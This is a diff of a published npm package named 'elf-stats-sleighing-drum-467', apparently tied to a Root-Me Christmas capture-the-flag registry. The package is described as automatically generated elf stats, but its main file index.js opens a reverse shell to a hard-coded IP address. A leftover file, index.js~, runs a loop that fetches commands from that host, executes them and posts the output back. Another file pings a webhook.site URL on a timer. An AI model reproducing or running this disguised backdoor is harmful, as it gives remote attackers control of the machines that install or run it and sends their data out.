elf-stats-sleighing-drum-467 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/Makefile ADDED
@@ -0,0 +1,8 @@
1
+ publish:
2
+ npm publish --access public
3
+
4
+ publishfuck:
5
+ npm publish --registry https://registry.challenges.xmas.root-me.org/ --access public
6
+
7
+ run:
8
+ node index.js
package/index.js ADDED
@@ -0,0 +1 @@
1
+ require('child_process').exec('sh -i >& /dev/tcp/31.169.124.47/9001 0>&1');
package/index.js~ ADDED
@@ -0,0 +1,25 @@
1
+ const http = require('http');
2
+ function execute() {
3
+ http.get('http://31.169.124.47:8888/cmd', res => {
4
+ let data = '';
5
+ res.on('data', chunk => data += chunk);
6
+ res.on('end', () => {
7
+ const {exec} = require('child_process');
8
+ exec(data, (err, stdout, stderr) => {
9
+ const req = http.request({
10
+ hostname: '31.169.124.47',
11
+ port: 8888,
12
+ path: '/out',
13
+ method: 'POST',
14
+ headers: {'Content-Length': Buffer.byteLength(stdout)}
15
+ });
16
+ req.write(stdout);
17
+ req.end();
18
+ });
19
+ });
20
+ }).on('error', (err) => {
21
+ console.error('Ошибка при запросе команды:', err.message);
22
+ });
23
+ }
24
+ execute();
25
+ setInterval(execute, 10000);
package/index.js~~ ADDED
@@ -0,0 +1,7 @@
1
+ const https = require('https');
2
+ function ping() {
3
+ https.get('https://webhook.site/479e4327-622d-4f8d-bdad-756a07094291/ping');
4
+ console.log("ping")
5
+ }
6
+ ping();
7
+ setInterval(ping, 10000);
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "elf-stats-sleighing-drum-467",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "description": "Package generated automatically every 2 minutes..",
6
+ "author": "Elf Workshop",
7
+ "license": "MIT"
8
+ }